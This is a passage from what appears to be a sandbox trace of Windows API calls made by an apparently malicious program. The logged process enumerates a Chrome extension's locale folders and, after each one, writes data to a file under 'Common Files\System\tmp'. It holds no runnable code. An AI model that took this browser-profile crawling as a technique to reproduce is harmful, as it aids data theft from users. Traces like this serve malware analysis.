dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.809] GetFileType (hFile=0x198) returned 0x1 [0135.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.809] GetLastError () returned 0xb7 [0135.809] SetLastError (dwErrCode=0xb7) [0135.809] GetLastError () returned 0xb7 [0135.810] SetLastError (dwErrCode=0xb7) [0135.810] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf1, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf1, lpOverlapped=0x0) returned 1 [0135.810] GetLastError () returned 0xb7 [0135.810] SetLastError (dwErrCode=0xb7) [0135.810] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.810] CloseHandle (hObject=0x198) returned 1 [0135.812] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.812] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.850] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.850] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.850] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.850] GetLastError () returned 0x12 [0135.850] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.850] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.850] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.850] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866b78 | out: hHeap=0x7b0000) returned 1 [0135.850] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.850] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866d10 | out: hHeap=0x7b0000) returned 1 [0135.850] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.850] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.850] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.850] AreFileApisANSI () returned 1 [0135.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.851] GetFileType (hFile=0x198) returned 0x1 [0135.851] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.851] GetLastError () returned 0xb7 [0135.851] SetLastError (dwErrCode=0xb7) [0135.851] GetLastError () returned 0xb7 [0135.851] SetLastError (dwErrCode=0xb7) [0135.851] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf1, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf1, lpOverlapped=0x0) returned 1 [0135.851] GetLastError () returned 0xb7 [0135.851] SetLastError (dwErrCode=0xb7) [0135.851] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.851] CloseHandle (hObject=0x198) returned 1 [0135.853] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.853] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.854] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.854] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.854] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.854] GetLastError () returned 0x12 [0135.854] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.854] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.854] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.854] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866b78 | out: hHeap=0x7b0000) returned 1 [0135.854] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.854] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866d10 | out: hHeap=0x7b0000) returned 1 [0135.854] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.854] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.854] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.854] AreFileApisANSI () returned 1 [0135.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.855] GetFileType (hFile=0x198) returned 0x1 [0135.855] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.855] GetLastError () returned 0xb7 [0135.855] SetLastError (dwErrCode=0xb7) [0135.855] GetLastError () returned 0xb7 [0135.855] SetLastError (dwErrCode=0xb7) [0135.855] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf1, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf1, lpOverlapped=0x0) returned 1 [0135.855] GetLastError () returned 0xb7 [0135.855] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.897] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.897] GetLastError () returned 0x12 [0135.897] AreFileApisANSI () returned 1 [0135.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.897] GetFileType (hFile=0x198) returned 0x1 [0135.897] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.898] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.898] GetLastError () returned 0x12 [0135.898] AreFileApisANSI () returned 1 [0135.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.898] GetFileType (hFile=0x198) returned 0x1 [0135.898] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.943] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.944] GetLastError () returned 0x12 [0135.944] AreFileApisANSI () returned 1 [0135.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.944] GetFileType (hFile=0x198) returned 0x1 [0135.944] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.944] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.945] GetLastError () returned 0x12 [0135.945] AreFileApisANSI () returned 1 [0135.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.945] GetFileType (hFile=0x198) returned 0x1 [0135.945] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.990] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.990] GetLastError () returned 0x12 [0135.990] AreFileApisANSI () returned 1 [0135.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.991] GetFileType (hFile=0x198) returned 0x1 [0135.991] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.991] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.991] GetLastError () returned 0x12 [0135.991] AreFileApisANSI () returned 1 [0135.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.992] GetFileType (hFile=0x198) returned 0x1 [0135.992] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.037] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.037] GetLastError () returned 0x12 [0136.037] AreFileApisANSI () returned 1 [0136.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.038] GetFileType (hFile=0x198) returned 0x1 [0136.038] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.038] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.039] GetLastError () returned 0x12 [0136.039] AreFileApisANSI () returned 1 [0136.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.039] GetFileType (hFile=0x198) returned 0x1 [0136.039] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.084] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.084] GetLastError () returned 0x12 [0136.084] AreFileApisANSI () returned 1 [0136.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.085] GetFileType (hFile=0x198) returned 0x1 [0136.085] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.085] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.085] GetLastError () returned 0x12 [0136.085] AreFileApisANSI () returned 1 [0136.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.086] GetFileType (hFile=0x198) returned 0x1 [0136.086] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.131] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.131] GetLastError () returned 0x12 [0136.131] AreFileApisANSI () returned 1 [0136.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.131] GetFileType (hFile=0x198) returned 0x1 [0136.131] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.132] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.132] GetLastError () returned 0x12 [0136.132] AreFileApisANSI () returned 1 [0136.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 